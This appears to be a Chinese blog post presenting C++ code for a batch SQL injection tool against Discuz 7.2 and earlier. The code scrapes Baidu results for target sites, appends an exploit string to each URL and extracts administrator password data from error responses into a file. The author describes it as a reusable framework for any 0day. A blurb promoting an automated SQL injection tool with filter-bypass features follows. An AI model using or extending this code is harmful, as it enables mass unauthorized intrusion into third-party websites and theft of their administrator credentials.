c++写的discuz<=7.2 SQL注入漏洞,批量注入工具

1、得到百度搜索的结果
        for (nBaiDuPage=100;nBaiDuPage<200;nBaiDuPage++)
        {
                //int 转换成string
                sprintf(tmpChar,"%d",nBaiDuPage);
                tmpStr=tmpChar;
                tmpStr=sUrlFromBaiDu+tmpStr;
                GetResult("date.html","result.txt","\"g\">",
                        "/",tmpStr);
2、读出链接,实现访问并得到返回的信息,注意,是报错的返回结果
3、循环测试,找到特征字符,有则读出并保存
测试主要源码
        while(fgets(buf,255,fResult))//
        {
        
                FILE *fp = fopen("tmp.txt", "w");        // 
                sUrlFromResult=buf;
                nRN=sUrlFromResult.find("\r\n",0);
                if (nRN>0)
                {
                        sUrlFromResult=sUrlFromResult.substr(0,nRN);
                }
                
                sUrl=sUrlHeader+sUrlFromResult+sOday;
                cout<<"测试第"<<jishu<<"个链接"<<"\r\n";
                   .....
                       nret=sBuffer.find("Duplicate ",0);
                
                        if (nret>0)
                        {
                                cout<<"GoodJob!";
                                cout<<"\r\n";
                                nlast=sBuffer.find("'",nret+20);
                                substrTmp=sBuffer.substr(nret+17,nlast-nret-17);
                                fUrlAdminPwd<<sUrlFromResult.c_str();
                                fUrlAdminPwd<<"   result:";
                                fUrlAdminPwd<<substrTmp.c_str();
                                fUrlAdminPwd<<"\r\n";
                                fUrlAdminPwd.flush();
                        }
                }


        
        } 
运行效果


这个写的是个框架,我们可以随意改变0day就可以实现该0day的批量工具,所以只给出了思路,没有全部放出源码。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
C# vs2015开发 官方下载地址: http://www.shack2.org/article/1417357815.html 简介: 超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具,支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入。 超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具。 超级SQL注入工具支持自动识别SQL注入,并自动配置,如程序无法自动识别,还可人工干预识别注入,并标记注入位置。 超级SQL注入工具支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入。 超级SQL注入工具支持Bool型盲注、错误显示注入、Union注入等方式获取数据。 超级SQL注入工具支持Access、MySQL5以上版本、SQLServer、Oracle等数据库。 超级SQL注入工具支持手动灵活的进行SQL注入绕过,可自定义进行字符替换等绕过注入防护。 本工具为渗透测试人员、信息安全工程师等掌握SQL注入技能的人员设计,需要使用人员对SQL注入有一定了解。 工具特点: 1.支持任意地点出现的任意SQL注入 2.支持全自动识别注入标记,也可人工识别注入并标记。 3.支持各种语言环境。大多数注入工具在盲注下,无法获取中文等多字节编码字符内容,本工具可完美解决。 4.支持注入数据发包记录。让你了解程序是如何注入,有助于快速学习和找出注入问题。 5.依靠关键字进行盲注,可通过HTTP相应状态码判断,还可以通过关键字取反功能,反过来取关键字。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值